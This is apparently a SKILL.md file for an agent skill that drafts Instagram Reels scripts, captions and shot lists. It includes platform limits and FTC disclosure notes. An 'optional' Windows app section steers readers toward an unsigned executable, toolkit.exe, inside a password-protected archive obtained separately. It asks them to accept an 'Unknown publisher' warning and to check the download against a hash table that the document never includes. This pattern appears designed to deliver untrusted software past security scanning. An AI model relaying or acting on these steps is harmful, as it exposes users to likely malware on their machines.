Instagram Reels Script Writer

Writes a short Reels script with the spoken hook, on-screen text, caption and shot list, all inside the platform limits. Written for US social media managers and small brand owners filming Reels in-house.

Use this skill when someone asks for:

• instagram reels script
• reel hook ideas
• instagram caption length
• short form video script

The job

Teams record without a script, so the first three seconds say nothing and the caption gets typed out twice on the phone.

What you get

1. Collect the single idea, the shot list and the action the reel should drive.
2. Write the spoken hook and the on-screen text for the first three seconds.
3. Break the body into short beats with a time stamp and the overlay for each beat.
4. Write the caption and hashtag set, and flag the beats that need a disclosure.

Output contract:

• script - the spoken hook, the beats with time stamps and the closing line
• on_screen - the overlay text for each beat, within the overlay limit
• caption - the caption under the character limit with the hashtags
• shot_list - what to film, what to shoot and what has to be cleared for music

US specifics that matter

• Instagram caps a caption at 2,200 characters, a bio at 150 characters and the name field at 30 characters.
• Instagram allows up to 30 hashtags on a post, counted from the caption or the first comment.
• The FTC says a disclosure has to be unavoidable to the audience, so for a Reel the label belongs in the video itself and not only in the caption.
• Instagram's branded content label marks a post as paid or partnered, and the FTC disclosure is a separate duty on top of that label.

Guardrails (hard rules)

• Never use licensed music, footage or a creator's likeness the user has not cleared.
• Never add a paid or gifted partnership label the user has not agreed to.
• Never promise views, engagement rates or follower growth from a reel.

Quickstart

1. Fill in the brief

templates/reels-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_reels_script.py --input reels-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/instagram-reels-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Instagram's limits

• Caption: 2,200 characters. Bio: 150 characters. Name field: 30 characters.
• Up to 30 hashtags per post, counted in the caption or in the first comment.
• Reels are vertical 9:16, so plan the crop before you film.

The first three seconds

• Say the payoff in one sentence, or show the problem visually.
• On-screen text has to read on a phone with the sound off.
• No channel intro: the hook is the ad.

Rights and disclosure

• Use music from the licensed library your account has access to.
• A gifted or paid post needs the partnership label and the FTC disclosure.
• Get written permission before filming a customer or their product.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/instagram-reels-rules.md - Instagram Reels limits and disclosure rules
• templates/reels-brief.yaml - the brief to fill in
• scripts/build_reels_script.py - the working script

Verify the bundle

python3 scripts/build_reels_script.py --input reels-brief.yaml --out ./out

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